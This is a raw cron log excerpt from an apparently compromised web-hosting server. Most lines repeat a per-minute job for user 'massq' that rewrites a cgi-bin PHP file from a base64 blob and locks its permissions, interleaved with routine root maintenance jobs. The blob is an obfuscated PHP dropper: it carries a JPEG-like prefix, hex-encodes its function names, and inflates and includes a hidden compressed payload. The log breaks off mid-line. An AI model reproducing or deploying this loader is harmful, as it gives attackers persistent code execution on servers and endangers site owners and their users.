Apr  9 18:20:01 server CROND[6116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:20:01 server CROND[6118]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 18:21:01 server CROND[6238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:22:01 server CROND[6327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:23:01 server CROND[6489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:24:01 server CROND[6550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:25:01 server CROND[6599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:25:01 server CROND[6602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:25:01 server CROND[6600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:25:01 server CROND[6601]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 18:26:01 server CROND[6726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:27:01 server CROND[6792]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 18:27:01 server CROND[6796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:28:01 server CROND[6855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:29:01 server CROND[7012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:30:01 server CROND[7093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 18:30:01 server CROND[7094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:30:01 server CROND[7095]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:30:01 server CROND[7096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:31:01 server CROND[7238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:32:01 server CROND[7305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:33:01 server CROND[7370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQ